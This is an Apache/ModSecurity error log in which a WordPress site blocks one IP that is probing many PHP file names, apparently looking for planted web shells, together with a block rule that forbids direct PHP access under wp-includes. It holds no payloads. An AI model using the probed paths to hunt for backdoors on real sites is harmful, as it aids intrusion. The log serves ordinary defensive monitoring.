[Sun May 03 05:37:05.435803 2026] [:error] [pid 40638:tid 40679] [client 172.173.121.85:5721] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "afZugfh3VcFjJ7H1mBaqJwAAAEU"]
[Sun May 03 05:37:05.903283 2026] [:error] [pid 40638:tid 40674] [client 172.173.121.85:6126] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "afZugfh3VcFjJ7H1mBaqKQAAAEA"]
[Sun May 03 05:37:07.114129 2026] [:error] [pid 40732:tid 40746] [client 172.173.121.85:5743] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "afZug_1lQrIvlEdzcVcWbgAAAMI"]
[Sun May 03 05:37:09.885781 2026] [:error] [pid 21934:tid 21942] [client 172.173.121.85:5739] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "afZuhXWfIjnWjXCxeM4tCQAAAQY"]
[Sun May 03 05:37:10.341271 2026] [:error] [pid 40639:tid 40715] [client 172.173.121.85:5155] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "afZuhq9rkyoICq7qxvFlvQAAAI4"]
[Sun May 03 05:37:10.763955 2026] [:error] [pid 21934:tid 21945] [client 172.173.121.85:5850] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "afZuhnWfIjnWjXCxeM4tDwAAAQk"]
[Sun May 03 05:37:11.167006 2026] [:error] [pid 21934:tid 21947] [client 172.173.121.85:5136] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "afZuh3WfIjnWjXCxeM4tEgAAAQs"]
[Sun May 03 05:37:11.593245 2026] [:error] [pid 40732:tid 40762] [client 172.173.121.85:5125] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "afZuh_1lQrIvlEdzcVcWdwAAANI"]
[Sun May 03 05:37:23.477410 2026] [autoindex:error] [pid 40637:tid 40663] [client 172.173.121.85:5870] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun May 03 05:37:26.213924 2026] [autoindex:error] [pid 40637:tid 40665] [client 172.173.121.85:5870] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun May 03 05:37:26.404449 2026] [autoindex:error] [pid 40637:tid 40659] [client 172.173.121.85:5870] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/uploads/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun May 03 05:37:44.021882 2026] [:error] [pid 40637:tid 40657] [client 172.173.121.85:5870] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fi.php"] [unique_id "afZuqJB-U30YNJ6CyVg-QgAAAAo"]
[Sun May 03 05:37:44.396901 2026] [:error] [pid 40639:tid 40711] [client 172.173.121.85:6094] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fi.php"] [unique_id "afZuqK9rkyoICq7qxvFmDwAAAIo"]
[Sun May 03 05:37:44.881026 2026] [:error] [pid 21934:tid 21954] [client 172.173.121.85:5758] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fi.php"] [unique_id "afZuqHWfIjnWjXCxeM4tOwAAARI"]
[Sun May 03 05:37:45.275856 2026] [:error] [pid 40639:tid 40725] [client 172.173.121.85:5179] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fi.php"] [unique_id "afZuqa9rkyoICq7qxvFmEQAAAJg"]
[Sun May 03 05:37:46.851603 2026] [:error] [pid 21934:tid 21942] [client 172.173.121.85:5129] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a1.php"] [unique_id "afZuqnWfIjnWjXCxeM4tQQAAAQY"]
[Sun May 03 05:37:47.232220 2026] [:error] [pid 21934:tid 21945] [client 172.173.121.85:5171] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a1.php"] [unique_id "afZuq3WfIjnWjXCxeM4tQgAAAQk"]
[Sun May 03 05:37:47.713206 2026] [:error] [pid 21934:tid 21958] [client 172.173.121.85:5827] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a1.php"] [unique_id "afZuq3WfIjnWjXCxeM4tRAAAARY"]
[Sun May 03 05:37:48.170409 2026] [:error] [pid 21934:tid 21944] [client 172.173.121.85:30259] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a1.php"] [unique_id "afZurHWfIjnWjXCxeM4tRgAAAQg"]
[Sun May 03 05:37:48.693721 2026] [:error] [pid 40732:tid 40752] [client 172.173.121.85:5162] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "afZurP1lQrIvlEdzcVcWlQAAAMg"]
[Sun May 03 05:37:50.101062 2026] [:error] [pid 21934:tid 21937] [client 172.173.121.85:5734] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "afZurnWfIjnWjXCxeM4tTgAAAQE"]
[Sun May 03 05:37:50.638848 2026] [:error] [pid 40638:tid 40688] [client 172.173.121.85:5133] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "afZurvh3VcFjJ7H1mBaqYQAAAE4"]
[Sun May 03 05:37:51.160766 2026] [:error] [pid 40638:tid 40679] [client 172.173.121.85:5747] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/update/f35.php"] [unique_id "afZur_h3VcFjJ7H1mBaqZQAAAEU"]
[Sun May 03 05:37:51.613578 2026] [:error] [pid 40637:tid 40664] [client 172.173.121.85:5192] [client 172.173.121.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "afZur5B-U30YNJ6CyVg-SAAAABE"]
[Sun May 03 05:37:52.000588 2026] [:error] [pid 40732:tid 40749] [client 172.173.121.85:5833] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "afZur_1lQrIvlEdzcVcWmQAAAMU"]
[Sun May 03 05:37:52.432063 2026] [:error] [pid 40639:tid 40720] [client 172.173.121.85:5139] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "afZusK9rkyoICq7qxvFmJAAAAJM"]
[Sun May 03 05:37:52.821350 2026] [:error] [pid 40639:tid 40719] [client 172.173.121.85:5866] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "afZusK9rkyoICq7qxvFmKQAAAJI"]
[Sun May 03 05:37:53.384320 2026] [:error] [pid 40638:tid 40680] [client 172.173.121.85:5851] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f35.php"] [unique_id "afZusfh3VcFjJ7H1mBaqZwAAAEY"]
[Sun May 03 05:37:53.794446 2026] [:error] [pid 40637:tid 40647] [client 172.173.121.85:5869] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "afZusZB-U30YNJ6CyVg-SwAAAAA"]
[Sun May 03 05:37:54.204822 2026] [:error] [pid 40637:tid 40649] [client 172.173.121.85:5141] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "afZuspB-U30YNJ6CyVg-TAAAAAI"]
[Sun May 03 05:37:54.785738 2026] [:error] [pid 40637:tid 40667] [client 172.173.121.85:5191] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "afZuspB-U30YNJ6CyVg-TwAAABQ"]
[Sun May 03 05:37:55.224084 2026] [:error] [pid 40637:tid 40655] [client 172.173.121.85:5859] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "afZus5B-U30YNJ6CyVg-UwAAAAg"]
[Sun May 03 05:37:55.909264 2026] [:error] [pid 40637:tid 40651] [client 172.173.121.85:5161] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "afZus5B-U30YNJ6CyVg-VgAAAAQ"]
[Sun May 03 05:37:57.035295 2026] [:error] [pid 21934:tid 21960] [client 172.173.121.85:5198] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "afZutXWfIjnWjXCxeM4tVAAAARg"]
[Sun May 03 05:37:57.453254 2026] [:error] [pid 21934:tid 21955] [client 172.173.121.85:5728] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "afZutXWfIjnWjXCxeM4tWQAAARM"]
[Sun May 03 05:37:58.973016 2026] [:error] [pid 40639:tid 40716] [client 172.173.121.85:5872] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "afZutq9rkyoICq7qxvFmLQAAAI8"]
[Sun May 03 05:37:59.615660 2026] [:error] [pid 40638:tid 40693] [client 172.173.121.85:5700] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "afZut_h3VcFjJ7H1mBaqcQAAAFM"]
[Sun May 03 05:38:00.038218 2026] [:error] [pid 40639:tid 40724] [client 172.173.121.85:5147] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "afZuuK9rkyoICq7qxvFmLwAAAJc"]
[Sun May 03 05:38:00.495954 2026] [:error] [pid 40638:tid 40689] [client 172.173.121.85:5841] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "afZuuPh3VcFjJ7H1mBaqdwAAAE8"]
[Sun May 03 05:38:01.083115 2026] [:error] [pid 40639:tid 40713] [client 172.173.121.85:5137] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/k.php"] [unique_id "afZuua9rkyoICq7qxvFmMAAAAIw"]
[Sun May 03 05:38:02.187269 2026] [:error] [pid 40638:tid 40674] [client 172.173.121.85:5917] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dev.php"] [unique_id "afZuuvh3VcFjJ7H1mBaqfgAAAEA"]
[Sun May 03 05:38:02.591788 2026] [:error] [pid 40638:tid 40694] [client 172.173.121.85:5826] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dev.php"] [unique_id "afZuuvh3VcFjJ7H1mBaqgQAAAFQ"]
[Sun May 03 05:38:03.101485 2026] [:error] [pid 40638:tid 40688] [client 172.173.121.85:5712] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dev.php"] [unique_id "afZuu_h3VcFjJ7H1mBaqhgAAAE4"]
[Sun May 03 05:38:03.486575 2026] [:error] [pid 40637:tid 40657] [client 172.173.121.85:5880] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dev.php"] [unique_id "afZuu5B-U30YNJ6CyVg-WQAAAAo"]
[Sun May 03 05:38:03.943815 2026] [:error] [pid 40639:tid 40715] [client 172.173.121.85:5887] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bal.php"] [unique_id "afZuu69rkyoICq7qxvFmNAAAAI4"]
[Sun May 03 05:38:04.413675 2026] [:error] [pid 40637:tid 40652] [client 172.173.121.85:5206] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bal.php"] [unique_id "afZuvJB-U30YNJ6CyVg-WwAAAAU"]
[Sun May 03 05:38:04.813977 2026] [:error] [pid 40639:tid 40710] [client 172.173.121.85:5148] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bal.php"] [unique_id "afZuvK9rkyoICq7qxvFmNwAAAIk"]
[Sun May 03 05:38:05.250250 2026] [:error] [pid 40639:tid 40711] [client 172.173.121.85:5861] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bal.php"] [unique_id "afZuva9rkyoICq7qxvFmOQAAAIo"]
[Sun May 03 05:38:05.803306 2026] [:error] [pid 40639:tid 40718] [client 172.173.121.85:5124] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/in.php"] [unique_id "afZuva9rkyoICq7qxvFmOwAAAJE"]
[Sun May 03 05:38:06.333273 2026] [:error] [pid 40638:tid 40693] [client 172.173.121.85:5862] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/in.php"] [unique_id "afZuvvh3VcFjJ7H1mBaqjQAAAFM"]
[Sun May 03 05:38:06.827678 2026] [:error] [pid 21934:tid 21956] [client 172.173.121.85:5834] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/in.php"] [unique_id "afZuvnWfIjnWjXCxeM4tXgAAARQ"]
[Sun May 03 05:38:07.282467 2026] [:error] [pid 40637:tid 40651] [client 172.173.121.85:5166] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/in.php"] [unique_id "afZuv5B-U30YNJ6CyVg-YAAAAAQ"]
[Sun May 03 05:38:07.676179 2026] [:error] [pid 40637:tid 40670] [client 172.173.121.85:30218] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gssdd.php"] [unique_id "afZuv5B-U30YNJ6CyVg-YgAAABc"]
[Sun May 03 05:38:08.110222 2026] [:error] [pid 40639:tid 40701] [client 172.173.121.85:5855] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gssdd.php"] [unique_id "afZuwK9rkyoICq7qxvFmQAAAAIA"]
[Sun May 03 05:38:08.539926 2026] [:error] [pid 21934:tid 21941] [client 172.173.121.85:5840] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gssdd.php"] [unique_id "afZuwHWfIjnWjXCxeM4tZAAAAQU"]
[Sun May 03 05:38:08.951110 2026] [:error] [pid 40732:tid 40767] [client 172.173.121.85:5852] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gssdd.php"] [unique_id "afZuwP1lQrIvlEdzcVcWngAAANc"]
